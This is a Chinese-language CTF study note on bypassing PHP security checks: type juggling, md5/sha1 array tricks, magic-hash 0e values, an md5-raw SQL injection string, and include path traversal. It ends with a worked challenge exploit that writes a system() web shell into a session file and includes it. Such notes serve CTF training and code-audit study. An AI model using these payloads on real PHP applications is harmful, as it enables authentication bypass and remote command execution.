一,常见的安全特性函数
php安全特性函数总结
php安全特性函数花式绕过
①is_numeric()
作用:检测变量是否为数字或数字字符串
绕方法:16进制会被判断为数字
%00即空格会被判断为非数字–>即直接跳过检测了
绕过方法
如
绕过方法
password=404%00–>即可绕过
同等类型
$a==0 and $a
同等方法绕
②数字类问题
利用科学计数法进行绕–>1e9=100000000
③php中的MD5函数
MD5($password,true)
存在漏洞–>函数作用–>将传入的字符串进行MD5,进行md5后在true返回非常规的二进制
绕过方法
ffifdyop
md5后,276f722736c95d99e921722cf9ed621c
再转成字符串: 'or'6<其他字符>
形成闭合进而实现绕过
#如案例
$sql="select * from user where username ='admin' and password ='".md5($password,true)."'";
直接传password为ffifdyop即可
④md5判断相等类绕方法
1.利用伪加密进行绕
2.利用数组进行绕
原理:md5不可处理数组,因此导致数组均返回为NULL,从而实现了绕过
如
绕方法–>可以利用
⑤php的弱比较–>==
#绕过方法
bealn型true可以和任何类型的数据相等;
⑥strcmp()函数绕过思路
漏洞:在PHP5.3之前,传入数据的类型是字符串类型,当传入的类型不是字符串类型 函数就会发生错误,显示报错信息后会return 0
即传入的如果不是字符串即会爆错,从而实现绕过
如绕过实例
<?php
$password="***************";
if(isset($_GET['password'])){
if(strcmp($_GET['password'],$password)==0){
echo "flag{xxxxx-xxx-xxxx}";
}else{
echo "NO password ";
}
}
?>
#即如果传入的如果是password[]=1即以数组传入特点,就会产生爆错,但返回的仍然是假即0,从而实现了绕过
⑦in_array函数绕过方法
#利用强执转换绕
#如字符类型绕
$whitelist = ["hit"];
if (in_array($page, $whitelist)) {
echo "yes";
return true;
#即如果传入的是page=hit#即可进行绕过
#数字型绕
$whitelist = [1,2,3];
if (in_array($page, $whitelist)) {
echo "yes";
return true;
#page=1wff 1; 1,(前面是数字后面是字符串或者符号 进行绕过)即强制性转换了
⑧include函数绕
include("index.php?../../../../../etc/passwd");
#这样可以绕过文件包含限制,达到任意文件包含的目的
⑨intval函数绕过思路
intval('1024e') 结果为1024 intval('1024e1')结果为1024 intval('0x23333')结果为0
⑩substr截取
<?php
$rest = substr("abcdef", 0, -1); // 返回 "abcde"
$rest = substr("abcdef", 2, -1); // 返回 "cde"
$rest = substr("abcdef", 4, -4); // 返回 ""
$rest = substr("abcdef", -3, -1); // 返回 "de"
?>
#后面的一个数字表示不要多少字符,第一个数字表示第一个字符的数字
常用的基础函数知识
1.)字符串之间拼接方法–>用 . 链接 如:$file = “templates/”
. $page . “.php”; page是一个对象,字符串外面要加双引号2.)strops(’$file’, ‘…’)函数,作用返回b字符串第一次在a中出现的位置
如strpos(a,b)会返回b字符串第一次在a中出现的位置,如果没有找到则返回False
3.substr()
返回字符串的子串
如
echo substr(‘abcdef’, 0, 4); // abcd
echo substr(‘abcdef’, 0, 8); // abcdef
echo substr(‘abcdef’, -1, 1); // f–>即从负数开始即从逆向倒数的思路代
4.serialize()即序列化
将一个对象转换成一个字符串
unserialize()
将字符串还原为一个对象
在这里插入代码片
常见的执行函数知识
php代码审计后常用的解密方法
典型php代码审计类题目
代码审计典型题型
php代码审计类型1
代码审计类型2
代码审计典型类型3
结合序列号考类
① php弱比较
<?php
show_source(__FILE__);
$username = "admin";
$password = "password";
include("flag.php");
$data = isset($_POST['data'])? $_POST['data']: "" ;
$data_unserialize = unserialize($data);
if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password){
echo $flag;
}else{
echo "username or password error!";
}
分析代码,因为if语句中用的是==
所以可以构造值类状况进行绕–>即弱比较
===会比较两个变量的类型~~
即可以绕弱比较
而==只比较他们的值~~~
比如整数0和浮点数0.0
用==比较返回TRUE
用===比较返回FLASE
即构造值为1即可,又因为题目中的代码需要序列化,所以用下面的代码测试后可获得
a:2:{s:8:“username”;b:1;s:8:“password”;b:1;}
即构造?data=a:2:{s:8:“username”;b:1;s:8:“password”;b:1;}即可获得flag
<?php
$username='xiaolong';#即data参数可构造
$data=[
'username'=>true,
'password'=>true,
];
$p1=serialize($data);
echo $p1;#即下面这个即可构造弱比较-->进行实现序列化后弱比较,即以后遇到弱比较类题,可代这种模式进行解
$p2=unserialize($p1);
echo $p2['username'];
if($p2['username']==$username)
{
echo 'nice';
}
else
{
echo 'no';
}
?>
②ctf含义类理解
1.)file_get_contents($text,‘r’)要等于某个字符串
注意与绕协议直接的关系
即对于识别不了的协议,会当做目录,故而可以利用方法绕
httpsssss://baidu.com/../../../../.,./../../../flag
典型的内容状况特点类
即直接构造text–>即可完事
?text=data:text/plain,weclome to the zjctf
2.)id=0且id不等于数字类
1.)利用0e绕,因为php中默认将0e当作0
2.)或者截断绕%00
3.)eregi(“111”.substr($b,0,1),“1114”) 匹配函数绕方法–>即匹配的内容只要是后面的即可,因此可以进行截取从而实现绕过
1.)利用星号或问号或.点号绕过正则表达式的匹配
*23456 或者.asdfasd(任意字符均可)-->即含义匹配任意的意思
2.)利用%00截断绕
b=%00411111a即进行绕这个匹配语句,利用特性eregi函数中的substr不会被截断
3.)md5加密后恰好为-->0e开头的字符串s878926199a
#0e开头的md5和原值:
QNKCDZO
0e830400451993494058024219903391
240610708
0e462097431906509019562988736854
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020
PHP弱类型&&md5碰撞总结
用里面的类型代就好了
";if(!$_GET['id'])即id不能为数字但id必须为0
{
header('Location: hello.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'no no no no no no no';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("f4l2a3g.txt");
}
else
{
print "never never never give up !!!";
}
?>
#即最后构造的payload-->id=0e&a=php://input&b=.qwert
#post的内容-->bugku is a nice plateform!
3.)绕sha比较
sha()函数–>作用:加密作用
绕方法–>利用sha()函数只对字符串进行加密,不对数组加密的特性进行绕
<?php
highlight_file('flag.php');
$_GET['id'] = urldecode($_GET['id']);
$flag = 'flag{xxxxxxxxxxxxxxxxxx}';
if (isset($_GET['uname']) and isset($_POST['passwd'])) {
if ($_GET['uname'] == $_POST['passwd'])
print 'passwd can not be uname.';
else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))
die('Flag: '.$flag);
else
print 'sorry!';
}
?>
最后payload
PHP代码审计经典利用
题目1–>变量覆盖+文件包含getshell
代码审计题目: `bast_php`
题目来源:XCTF 2018 final
基础知识点:session_start()
功能:会创建新会话或者重用现有会话,即初始化超全局变量SESSION变量,且可修改session的保存位置
常见保存的路径
/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/var/lib/php5/sess_PHPSESSID
/var/lib/php5/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('open_basedir', '/var/www/html:/tmp');
$file = 'function.php';
$func = isset($_GET['function'])?$_GET['function']:'filters';
call_user_func($func,$_GET);
include($file);
session_start();
$_SESSION['name'] = $_POST['name'];
if($_SESSION['name']=='admin'){
header('location:admin.php');
}
?>
利用payload
①function=session_start&save_path=.
name=name=<?php echo "aaa";system($_GET[x]);?>
目的将session的保存位置更改到path路径且传参为马
②利用变量覆盖
function=extract&file=/tmp/sess_a9tvfth9lfqabt9us85t3b07s1&x=cat+sdjbhudfhuahdjkasndjkasnbdfdf.php
进行读取flag